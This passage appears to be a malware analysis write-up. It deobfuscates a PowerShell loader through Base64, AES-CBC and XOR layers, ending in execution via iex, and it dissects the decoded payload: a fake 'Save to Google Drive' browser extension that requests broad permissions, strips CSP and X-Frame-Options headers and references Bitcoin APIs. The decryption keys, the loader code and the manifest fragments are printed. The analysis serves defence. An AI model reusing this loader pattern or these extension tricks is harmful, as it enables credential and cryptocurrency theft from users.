k4X4LWv7tVo05

Raw Bytes

LF

```
$aaApC = [Convert]::FromBase64String($MIA24)
$TVtgV=[Convert]::FromBase64String('tcfdSYcEXDyb/TftvgfwTQ==');
$LPSIRN=[Convert]::FromBase64String('idKfbEIao18t304hGJSQIW4sb114j4pCQPQymt9+bb8=');
```

- Performing from Base64 of MIA24, but if we do that we will get jiber-jabe

4th Part - ComAm.ko script

- In this part we have to take almost the rest of the script as all that is interconnected.

```
$eXBd2I = New-Object System.Security.Cryptography.AesManaged
$eXBd2I.Key = $LPSIRN
$eXBd2I.IV = $TVtgV
$eXBd2I.Mode = [System.Security.Cryptography.CipherMode]::CBC
$eXBd2I.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$iv5YDn = $eXBd2I.CreateDecryptor();
$gESzbM = New-Object System.IO.MemoryStream
$hve3oI = New-Object System.Security.Cryptography.CryptoStream($gESzbM, $iv5YDn, [System.Security.Cryptography.CryptoStreamMode]::Write)
$hve3oI.Write($aaApC, 0, $aaApC.Length)
$hve3oI.FlushFinalBlock()
$TdUsWd = $gESzbM.ToArray()

$Pge7I = [byte[]](137, 210, 159, 108, 66);
$bL9cT = 0;
$uFocg = $TdUsWd | ForEach-Object {
    $_ -bxor $Pge7I[$bL9cT++];
    if ($bL9cT -ge $Pge7I.Length) {
        $bL9cT = 0
    }
}
```

- We can see that AES decryption is in use here.

```
$eXBd2I = New-Object System.Security.Cryptography.AesManaged
```

- Here are the keys.

This is AES key `$eXBd2I.Key = $LPSIRN` that is idKfbEIao18t304hGJSQiW4sblI4j4pCQPQymt9+bb8= from step above.

This is Initialization Vector (IV), basically random value that is used in encryption algorithm to make it unique during encryption. In our case is tcfdSYcEXDyb/TftvgfwTQ==

```
$eXBd2I.Key = $LPSIRN
$eXBd2I.IV = $TVtgV
```

- These are the Mode and Padding.

In case of the Mode it uses CBC - Cipher Block Chaining, simple words this is mode for block ciphers like AES.

Padding, adds additional values to the AES, because by the rules AES works only with full 16-byte blocks. (But I did not have to use it in CyberChef)

```
$eXBd2I.Mode = [System.Security.Cryptography.CipherMode]::CBC
$eXBd2I.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
```

- Decryption process, based on the variables, keys and modes from above.

```
$iv5YDn = $eXBd2I.CreateDecryptor();
$gESzbM = New-Object System.IO.MemoryStream
$hve3oI = New-Object System.Security.Cryptography.CryptoStream($gESzbM, $iv5YDn, [System.Security.Cryptography.CryptoStreamMode]::Write)
$hve3oI.Write($aaApC, 0, $aaApC.Length)
$hve3oI.FlushFinalBlock()
$TdUsWd = $gESzbM.ToArray()
```

- Last part is pretty similar from the 3rd Part - Initial script, where I talked about XOR.

Script goes into XOR cycle.

We need to use converter <https://www.rapidtables.com/convert/number/decimal-to-hex.html?x=26> . After converting we get following values 89 d2 9f 6c 42

```
$Pge7I = [byte[]](137, 210, 159, 108, 66);
$bL9cT = 0;
$uFocg = $TdUsWd | ForEach-Object {
$_ -bxor $Pge7I[$bL9cT++];
if ($bL9cT -ge $Pge7I.Length) {
$bL9cT = 0
}
}
```

4th Part - ComAm.ko script

- Last part of the scrip is the execution.

```
[System.Text.Encoding]::ASCII.GetString($uFocg) | iex
```

5th Part - ComAm.ko script

Deobfuscation we will use just CyberChef, but you can do it as well in PowerShell or Python for example.

- Let's apply everything in CyberChef.

We receive final payload.

Recipe

From Base64

Alphabet

A-Za-z0-9+/=

Remove non-alphabet chars

Strict mode

AES Decrypt

Key

idKfbEIao18t304...

BASE64

IV

tcfdsYcEXDyb/Tf...

BASE64

Mode

CBC

Input

Raw

Output

Raw

XOR

Key

89 d2 9f 6c 42

HEX

Scheme

Standard

Null preserving

STEP

BAKE!

Input

/SZvQMSPtK2ZtrQRkesxgi+IMDa7GyWUwexS5Nawfd178mzVpyCzHpvRskFJ3BTaCAGHFUEKEPy+Fmqd/DD+3U2133nF8C1Rs8rTcNQTjMhph8Ww+3GLPGf/SuZEB2X7/t51hE1NIDTUNuu3wUjh6HMH0AD77h1Dd0PwJ7fec0NEp9mNoIYKbSbQd1ZydsjAE3VacMEt2rIw8PSjQazKLnM5Jo2Fv8kNjwgz2stnU3fvA4w/8Chu1Q/fPjV7rGuJwadMk4A5HTyAz4cZ52KjN802C6WVdb595UgsrBTx/qah613nmskh1nteMsw05Cr+4Bf1jKRc1fn09t33d/+rpsIt73cZbU+YSohVad2x

Output

```

function hTSv0
{
    param (
        $HexString
    )
    $n3MGTC = @()
    for ($i = 0; $i -lt $HexString.Length; $i += 2) {
        $XSmBR = [convert]::ToByte($HexString.Substring($i, 2), 16)
        $n3MGTC += $XSmBR
    }
    return ,$n3MGTC
}

function KZr4
{
    param($Huf7h, $K3h0NZ)
    $K3h0NZ = $K3h0NZ.Replace([System.Text.Encoding]::UTF8.GetString(( [byte[]] ( 92, 117, 48, 48, 51, 99, 97, 108, 108
    $ebuAL = [System.Text.Encoding]::UTF8.GetBytes($K3h0NZ)
    $JowkAf = New-Object System.Security.Cryptography.HMACSHA256
    $JowkAf.Key = $Huf7h
    $tmaVE = $JowkAf.ComputeHash($ebuAL)
    $TVZS = [BitConverter]::ToString($tmaVE) -replace ([System.Text.Encoding]::UTF8.GetString( ( [byte[]] ( 45 ) ) ) )
    return $TVZS
}

function VUwejs
{
    param($wdGT, $sQyv7h)
    $cuvPF = $cuvPF-@('Y29uZmlnLmpz', 'ZnVuY3Rpb24XzB4M2E4NCgpe3Zhc1BfMgZNDQxM2I9Wyc4MjcxMTZoaU9ub08nLCczM0tZdXRTZT5csj
    New-Item -ItemType Directory -Path $wdGT -Force

    foreach ($uNke in $cuvPF)
    {
        $iWzYo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($uNke[0]))
        $K1bXB = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($uNke[1]))
        $M07t = Join-Path -Path $wdGT -ChildPath $iWzYo
    }
}

```

Final payload

- From Deobfuscated file ComAm.ko,
- You can check for pre-obfuscated payload, txt file.



- Let's try to understand and decrypt it.

I will just show and compare results.

To write step by step, will take a lot of space and screenshots, but overall when you check you can see that now it is basically Base64 obfuscation.

For more clear understanding, I will perform raw by raw deobfuscation and will show just key results.

- Here is fully deobfuscated payload in txt format if you would like to check.



Deobfuscated file.txt

- You can deobfuscate it in different ways, through powershell, CyberChef or Python. I was mixing CyberChef with Python.

Example of the script in Python:

```
import base64

def decode_base64(base64_string):
    try:
        # Add padding if necessary
        padding = len(base64_string) % 4
        if padding != 0:
            base64_string += '=' * (4 - padding)

        # Decode the Base64 string
        decoded_bytes = base64.b64decode(base64_string)
        # Convert the decoded bytes to a string
        decoded_string = decoded_bytes.decode('utf-8')
        return decoded_string
    except Exception as e:
        print(f"Error decoding Base64: {str(e)}")
        return None

# Example usage
base64_string = "7GlyX3Jxd2FHXYVodVmxakIXu29rNbnPzSkhuanM"
decoded_base64_string = base64.b64decode(base64_string).decode('utf-8')
```

Some key factors from the deobfuscated payload:

- Cryptographic hashing function using HMAC-SHA256 is in use.
- Tries to hide under the name "Save to Google Drive"

```
"offline_enabled": true,  
"name": "Save to Google Drive",  
"author": "Google inc.",  
"description": "Save web content or screen capture directly to Google Drive.",  
"version": "7.0.3",  
"icons": {
```

- Requests nearly all sensitive permissions: tabs, clipboard, cookies, history, scripting, etc.

```
"permissions": [  
  "scripting",  
  "webNavigation",  
  "system.cpu",  
  "system.display",  
  "system.storage",  
  "system.memory",  
  "management",  
  "storage",  
  "cookies",  
  "notifications",  
  "tabs",  
  "history",  
  "webRequest",  
  "declarativeNetRequest",  
  "alarms",  
  "clipboardRead",  
  "clipboardWrite",  
  "unlimitedStorage",  
  "windows",  
  "activeTab"
```

- Removes browser-enforced web security protections, specifically:
 - Content-Security-Policy (CSP)
 - X-Content-Security-Policy
 - X-WebKit-CSP
 - Content-Security-Policy-Report-Only
 - X-Frame-Options

These headers are crucial for:

- Preventing cross-site scripting (XSS)
- Blocking clickjacking (through iframe restrictions)
- Limiting unauthorized content injection

```

"priority": 1,
"action": {
  "type": "modifyHeaders",
  "responseHeaders": [{
    "operation": "remove",
    "header": "content-security-policy"
  }, {
    "operation": "remove",
    "header": "content-security-policy-report-only"
  }, {
    "operation": "remove",
    "header": "x-webkit-csp"
  }, {
    "operation": "remove",
    "header": "x-content-security-policy"
  }, {
    "operation": "remove",
    "header": "x-frame-options"
  }
}

```

- Presence of Cyrillic, specifically written in Russian language.
 - "Это пример текста." - Text Example
 - "А роза упала на лапу Азора" - The rose fell on the hand of Azor.
 - "Съешь ещё этих мягких французских булок, да выпей чаю." - Just eat more these soft French bread, and drink some tea.

Could indicate the presence of a Russian speaking person/group that has created this malware.

- Big part of obfuscated code, just encoded images, lice icon and arrows.

```

'),@('images\driveicon128.png', ' encoded PNG image'),@('images\driveicon16.png',
'encoded PNG image'),@('images\driveicon19.png', 'encoded PNG
image'),@('images\driveicon32.png'),@('images\driveicon38.png', '),@

```

From this moment there are a lot of encoded images, lice icon and arrows.

```

('aW1hZ2Vz XGRyaXZlawnvbjQ4LnBuZw==', 'iVBORw0KGgoAAAANSUHEUGAAADAAAAAwCAYAAABXAvmHAAAFw0
1EQVRoge1ZbWxTVRh+3ntve9uu3dpRtzqYjo8RghqQMdRkxg0BJSaGbIyxqAFDTEicAQQVo0QSWATBiMEQQiQMBEe
GBE0kBFiyJhKyMElGgkoCx8kHFFAo+5Buvfce/7Cy9n703rP9Me5J+qPveT+e5/
ac955zCoxhDP9v0EgTTG+p9fdcvbF0GVBqAJQA8Fv5M7A4gK6yYP++4zMu7qIqKC0pPyIB01tq/T5VPdHfe7/
g7vW7U53E/jDjt8uzAv0XJFGpH4kI1TcQAHyA9g2IKnwBn9br7oUyaI/Hc3m9mBXoLwVQq1hSN6Cs4eUg8AaWny9+
EcAiACCCECwM2oqTiKFx8h9aykBoGDjpnsbLg0tAZVulxIjtGG7z5MiQc+SssXWFf6HULxheVxJE7QseHuAV0Hczv
ALAk5n2UGEQZLGqciUF7z9+zWjo5eRp6SueLo4FzDy2KAiwLUZjklucP2jehN4tvoF81/
E6IbCvWJvzNelYgDQgbgJg0uFzw7kQRFfnn+xNYFnRLd08jGiKokqrnPJxJKDs25ppAFZa+ZBIyAsHdPaNk/6ERCx

```

- Some extra overview of actions that this malware does, based on the codes and scripts.
 - Tries to turn on developer_mode, this could represent a setting that manipulates configurations within software.
 - Uses Base64 and SHA-256

- Establishing backdoors, running additional payloads, and interacting with command-and-control servers.
- Tries to retrieve the SID and username.
- Registry modification.
- Self-replication.
- C&C.
- Interaction with Social Media and Google account

```
'loading', 'Hello', 'adsmanager.facebook.com',
G', 'https://accounts.google.com', 'round', 'Xw
```

- IOCs/URLs that were found inside of payload, most of them related to Bitcoins and Mining.

```
https://jspm.dev/uuid';
```

```
https://mempool.space/api/address/
```

```
https://exp.btcme.com/
```

```
https://api.blockcypher.com/
```

```
https://blockchain.info/
```

```
https://bitcoinexplorer.org/api/address/'
```

```
https://btcscan.org/api/address/'
```

```
https://api.bitcore.io/api/BTC/mainnet/tx/'
```

```
https://api.bitcore.io/api/BTC/mainnet/address/'
```

Possible Real-World Scenario:

- **Persistence:** The decoded payload might be placed in a temporary folder or in a startup folder to ensure it runs every time the system starts up.
- **Remote Control:** After decoding and executing, the malware could establish communication with a command-and-control (C&C) server to receive instructions, download further payloads, or exfiltrate sensitive information.
- **Permissions & Registry modifications:** Requests nearly all sensitive permissions: tabs, clipboard, cookies, history, scripting, etc.
- **Removes browser-enforced web security protections:**
 - Content-Security-Policy (CSP)
 - X-Content-Security-Policy
 - X-WebKit-CSP
 - Content-Security-Policy-Report-Only
 - X-Frame-Options
 - These headers are crucial for:
 - Preventing cross-site scripting (XSS)
 - Blocking clickjacking (through iframe restrictions)
 - Limiting unauthorized content injection
- **Data Exfiltration:** The function might be used to decode stolen data and send it back to an attacker via HTTP or HTTPS requests.
- **Evading Detection:** Since the function uses Base64 encoding and decoding, it helps evade detection by security software, which may not inspect the decoded contents without deep analysis.

Conclusion:

- After searching, googling and analyzing, seems that this is Legion Loader or part of it, but not 100% sure. Overall behavior indicates on it.
- Nice article about this malware - <https://www.deepinstinct.com/blog/untangling-legion-loaders-hornet-nest-of-malware>
- Key points:
 - *Included in this campaign is a grab-bag mix of multiple types of info-stealers, backdoors, a file-less crypto-currency stealer built into the dropper, and occasionally a crypto-miner as well. Such volume and variety are uncommon in the general landscape and are highly suggestive of a dropper-for-hire campaign.*

